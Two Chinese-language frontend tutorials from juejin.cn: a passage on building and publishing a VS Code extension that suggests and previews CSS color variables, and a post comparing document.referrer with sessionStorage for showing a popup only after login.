  1. 输入我们指定的 tsl、--tsl 这些是不是要出现提示呀,告知我们可以选择哪些

  2. 鼠标放到 --tsl-doc-white 显式出对应的变量,不要觉得自己能记住了


就两个效果,明白之后我们就开始进行配置和 Coding


2.4 实现 variable-prompt


配置


主要还是 package.json 进行配置,先看我的这份:


{
"name": "variable-prompt",
"displayName": "variable-prompt",
"icon": "src/assets/tsl-logo.png", # 插件的图标就是这里来的
"description": "css variable prompt",# 描述插件的用途
"version": "1.0.0",
"publisher": "sakanaovo",
"engines": {
"vscode": "^1.56.0" # 这里要和 types/vscode 同步一下
},
"categories": [
"Other"
],
"main": "./extension.js",
"contributes": {},
# activationEvents 激活事件,这里配置了以下这些文件激活
"activationEvents": [
"onLanguage:vue",
"onLanguage:javascript",
"onLanguage:typescript",
"onLanguage:javascriptreact",
"onLanguage:typescriptreact",
"onLanguage:scss",
"onLanguage:css",
"onLanguage:less"
],
"scripts": {
"lint": "eslint .",
"pretest": "npm run lint",
"build": "vsce package", # 打包命令
"test": "node ./test/runTest.js"
},
"devDependencies": {
"@types/vscode": "^1.56.0",
"@types/glob": "^8.1.0",
"@types/mocha": "^10.0.1",
"@types/node": "20.2.5",
"eslint": "^8.41.0",
"vsce": "^2.13.0", # 打包 后面会介绍
"glob": "^8.1.0",
"mocha": "^10.2.0",
"typescript": "^5.1.3",
"@vscode/test-electron": "^2.3.2"
}
}

这里看完了教帮助大家记忆训练


window高玩 :Ctrl + CCtrl + V


mac高玩:Cmd + CCmd + V


编码




  1. 创建 src/helper.jssrc/variableMap.js


    image-20230804133618857.png




  2. 清空根目录 extension.js 代码


    function activate(context) {
    console.log("启动成功");

    }

    // This method is called when your extension is deactivated
    function deactivate() {}

    module.exports = {
    activate,
    deactivate,
    };


    按下 F5 ,就可以启动容器,好的,那我们是不是想看这个 console 日志在哪儿,有两种



    • 第一种,在你开发插件vscode中查看调试控制台,一般在vscode左侧,找不到或者就 Ctrl+Shift+Y 就可以看是否打印

    • 第二种,在你启动的容器中,按 Ctrl+Shift+I ,也可以打开一个控制台,并查看你的日志信息,这是因为 vscode 是用 Electron 开发的,Electron 也是这样查看调试




  3. 实现 Hover 效果


    src/helper.js 中我们简单实现鼠标放上去就显式悬停效果


    const vscode = require("vscode");

    function provideHover(document, position, token) {
    // 获取鼠标位置的单词
    const word = document.getText(document.getWordRangeAtPosition(position));

    // 创建悬停内容
    const hoverText = `这是一个悬停示例,你鼠标放上去的单词是:${word}`;
    const hover = new vscode.Hover(hoverText);

    return hover;
    }

    module.exports = {
    provideHover
    };

    src/extension.js 中我们注入一下


    const vscode = require("vscode");
    const { provideHover } = require("./src/helper.js");
    // 添加一些文件类型
    const files = [
    "javascript",
    "typescript",
    "javascriptreact",
    "typescriptreact",
    "vue",
    "scss",
    "less",
    "css",
    "sass",
    ];

    function activate(context) {
    console.log("启动成功");

    context.subscriptions.push(
    vscode.languages.registerHoverProvider(files, {
    provideHover,
    })
    );
    }

    然后 F5 ,如果你已经启动过会有这个小标记,如下图:


    image-20230804135238225.png


    那我们点击一下框住的这个刷新按钮,然后在容器中调试一下,随便写下一段代码,下图是一个展示效果:


    image-20230804135427582.png


    OK,到这里,我们就实现了悬停了效果




  4. variableMap.js 完善一下映射规则


    大致如下:


    // 这个文件是 变量映射表 --tsl-color:#fa8c16
    const variableMap = {
    // 用于存放变量的映射关系
    "--tsl-primary-color": "#33c88e",
    "--tsl-doc-white": "#ffffff",
    "--tsl-doc-gray-1": "#e2e5e8",
    "--tsl-doc-gray-2": "#d2d5d8",
    "--tsl-doc-gray-3": "#b6babf",
    "--tsl-doc-gray-4": "#afb2b7",
    "--tsl-doc-gray-5": "#999b9f",
    "--tsl-doc-gray-6": "#66686c",
    "--tsl-doc-gray-7": "#3c3d3f",
    "--tsl-bg-gray-1": "#f2f4f4",
    "--tsl-warn-color": "#ff6813",
    "--tsl-accent-color": "#f9ba41",
    "--tsl-disabled-color-1": "#edfff8",
    "--tsl-disabled-color-2": "#b4e7d2",
    "--tsl-disabled-color-3": "#9eedcc",
    };

    module.exports = variableMap;


    非常简单,就是把我们的定义的一些,在这里写好就行




  5. 根据 variableMap.js 实现触发提示


    src/helper.js 中我们实现 provideCompletionItems


    const VARIABLE_RE = /--tsl(?:[\w-]+)?/;

    function provideCompletionItems(document, position) {
    const lineText = document.lineAt(position.line).text;

    const match = lineText.match(VARIABLE_RE);
    if (
    lineText.includes("tsl") ||
    match ||
    lineText.includes("--tsl") ||
    lineText.includes("t")
    ) {
    // 拿到 variableMap 中的所有变量
    const variables = Object.keys(variableMap);
    const completionItems = variables.map((variable) => {
    const item = new vscode.CompletionItem(variable);
    const color = variableMap[variable];
    item.detail = color;
    // 给detail 添加注释
    const formattedDetail = `这是一个颜色变量,值为 ${color}`;
    // 创建一个 MarkdownString
    const markdownString = new vscode.MarkdownString();
    // 添加普通文本和代码块
    markdownString.appendText(formattedDetail);
    // 将注释转换为 markdown 格式
    item.documentation = markdownString;
    item.kind = vscode.CompletionItemKind.Variable;
    return item;
    });
    return completionItems;
    }
    return [];
    }

    module.exports = {
    provideHover,
    provideCompletionItems,
    };


    src/extension.js 中我们注入一下


    const { provideHover, provideCompletionItems } = require("./src/helper.js");

    function activate(context) {
    console.log("启动成功");

    context.subscriptions.push(
    vscode.languages.registerHoverProvider(files, {
    provideHover,
    })
    );
    // 注入的提示
    context.subscriptions.push(
    vscode.languages.registerCompletionItemProvider(files, {
    provideCompletionItems,
    })
    );
    }

    刷新,和上面操作一样,然后我们输入 tsl 就会出现这样的一个效果,如下图:


    image-20230804140502999.png


    为了让能有点颜色看看我们需要小小的改造一下下,在 provideCompletionItems 中,把 kind 设置为 Color ,修改成这样:


    item.kind = vscode.CompletionItemKind.Color ,然后我们刷新启动看看效果:


    image-20230804141025071.png


    这样我们就实现了带颜色提示




  6. 改造我们的 Hover 效果


    src/helper.js 中我们把 provideHover 改成这样:


    function provideHover(document, position) {
    const lineText = document.lineAt(position.line).text;
    const regex = /--[\w-]+/g;
    const match = lineText.match(regex);
    const word = match[0];
    if (match.length > 0 && word.includes("--tsl")) {
    const completeVariable = match.find((variable) => variable.includes(word));
    const hoverText = variableMap[completeVariable];
    if (hoverText) {
    return new vscode.Hover(hoverText);
    }
    }
    }

    最终效果就是我们鼠标放在对应的变量上会告诉我们对应的16进制值是什么,效果如下:


    image-20230804143637675.png




好了,到这里,我们就已经完全实现了,我们可以运行 npm run build 然后选择 y 就可以生成一个 variable-prompt-1.0.0.vsix 文件


三、如何发布🎉


我只教你手动上传,因为我也是手动上传,自动挡还没学会。


访问这个: Manage Extensions | Visual Studio Marketplace 去掉地址最后的 sakanaovo 然后输入你自己的 publisher


选择这个 vscode 插件


image-20230804150207072.png


然后 variable-prompt-1.0.0.vsix 文件拖进去完毕


当然,如果你不想发布你可以选择在拓展中通过下图这种方式安装:


image-20230804151354242.png


四、结语💯


好久没有写文章了,上次写文章还是在上次。本章,我们通过简短的代码,实现了css变量提示vscode插件,希望能帮助到各位。


看完打开电脑,打开vscode,点开笔者文章链接,写下你的第一个Hello World 插件吧!先写5分钟


作者:sakana
来源:juejin.cn/post/7263305276397355063
收起阅读 »

实现仅从登录页进入首页才展示弹窗

web
需求:仅存在以下两种情况展示弹窗 登录页进入首页 用户保存了登录状态后通过地址栏或书签直接进入首页 本文用两种方案实现: 使用Document.referrer获取上个页面的 URI 使用sessionStorage存储弹窗展示数据 每个方案我都会讲...
继续阅读 »

需求:仅存在以下两种情况展示弹窗



  • 登录页进入首页

  • 用户保存了登录状态后通过地址栏或书签直接进入首页


本文用两种方案实现:



  • 使用Document.referrer获取上个页面的 URI

  • 使用sessionStorage存储弹窗展示数据



每个方案我都会讲讲解决思路和存在问题,记录一下自己的idea。


方案一:使用Document.referrer获取上个页面的 URI


解决思路


这是我想到的第一个解决方案。



  1. 在进入首页界面时,调用Document.referrer获取跳转到首页的起点页面 URI

  2. 将获取的 URI 与登录页的 URL 作比较

  3. 如一致,则展示弹窗;反之则不展示


实现伪代码如下:


const previousUrl = document.referrer;  // 获取上个页面的 URI
const loginUrl = '登录页 URL';
// 比较登录页 URL 与 previousUrl 是否相等 或 获得的 URI 是否为空,不相等则不展示。
const showDialog = loginUrl === previousUrl || previousUrl === '';

为什么还有一个previousUrl === ''判断呢?它判断的其实是第二种情况(直接进入首页),如果用户是通过地址栏或书签直接进入首页的话,Document.referrer返回的是空字符串


1699583988078.png


存在问题


讲到这,这个方案是不是已经解决我们在文章开头提出的需求了呢?从代码、逻辑以及实践是可以的,但是,我提出以下几个场景,大家判断一下弹窗是否会出现。


场景1 用户从登录页进入首页后(此时弹窗已成功展示并关闭),刷新首页,此时弹窗会再次出现吗?


场景2 登录页和首页的域名不一样,用户从登录页进入首页后会出现弹窗吗?


答案揭晓,前者会出现弹窗,后者则不会出现弹窗。


场景1解析


用户从登录页进入首页,在此前提下我们在首页调用Document.referrer得到登录页的 URI ;随后用户做刷新操作,再次在调用Document.referrer,获得新的 URI 和之前登录页 URI 是一致的,所以弹窗还会再次出现。


为了大家方便理解,我以GitHub为例:


我从 GitHub 登录页进入其主页,然后在控制台获取上个页面的 URI 。此时,我在主页点击刷新,再次在控制台调用Document.referrer,获得的 URI 与第一次获取的相同。


b669e-86sdi.gif


场景2解析


场景2是Document.referrer返回的 URI 与登录页 URL 不同导致的。其实不仅仅是域名不同会导致这个问题,文件路径或者文件名不同都有可能导致返回的 URI 与登录页 URL 不同。


小伙伴们有没有发现,我多次提及Document.referrer返回的字符串是 URI 。URI(统一资源标识符)与 URL(统一资源定位符)是有区别的,尤其,URI 并不是固定的,是相对的。(想了解更多“关于 URI 与 URL 区别”的小伙伴点击这里


先解释为什么登录页域名和首页域名不同,获得的 URI 就会和登录页不一样呢?举个例子,


这是我登录页的 URL:


1699595868152.png


我登录进入首页后,在控制台输出Document.referrer


1699596493250.png


发现没有,朋友们,获得的 URI 与登录页本身的 URL 不同,所以弹窗不展现。为什么会不同呢?再次贴出我另外一篇文章,点击了解更多哦




方案二:使用sessionStorage存储弹窗展示数据


众所周知,当用户打开一个窗口,会有一个sessionStorage对象;当窗口关闭时,会清除对应的sessionStorage。这一特性刚好符合我们的需求。


解决思路



  • 用户每次进入首页都会从sessionStorage获取 key 为弹窗ID的值

  • 判断值是否存在:

    • 如果值存在的话说明该弹窗已经展现过,不必再展示,直接跳出

    • 如果值为undefined则说明该弹窗在此窗口中没有展现过,则把 key 为弹窗ID的数据保存到sessionStorage,然后展示弹窗




伪代码如下:


const sessionItemKey = '弹窗ID';
if (sessionStorage.getItem(sessionItemKey)) return;
sessionStorage.setItem(sessionItemKey, 'Y');
this.dialogVisible = true;



存在问题


方案二似乎解决了方案一存在的刷新问题,也不会有获取 URI 与登录页 URL 不同的潜在问题,是个完美的解决方案!


不过,小伙伴们要注意一个场景:用户在一个窗口内多次登入和登出首页,弹窗会不会展示呢? 答案是不会展示。因为登入和登出操作都是在同一个会话当中发生的,多次登录进入首页,sessionStorage的数据都不会清除。


我们理一遍逻辑:



  • 用户打开新的登录页面窗口,登录成功进入首页

  • 首页跑了一次以上伪代码中值不存在的情况,在sessionStorage中保存了数据

  • 用户退出登录,再次进入登录页面(在同个会话中)

  • 用户登录成功后进入首页,首页跑了一次以上伪代码中值存在的情况


所以!sessionStorage的特性也会导致问题。不同的方案适用于不同的场景,就看大家怎么选择啦!


结束语


本次分享又到尾声啦!欢迎有疑惑或不同见解的小伙伴们在评论区留言哦~


作者:Swance
来源:juejin.cn/post/7299598252629901350
收起阅读 »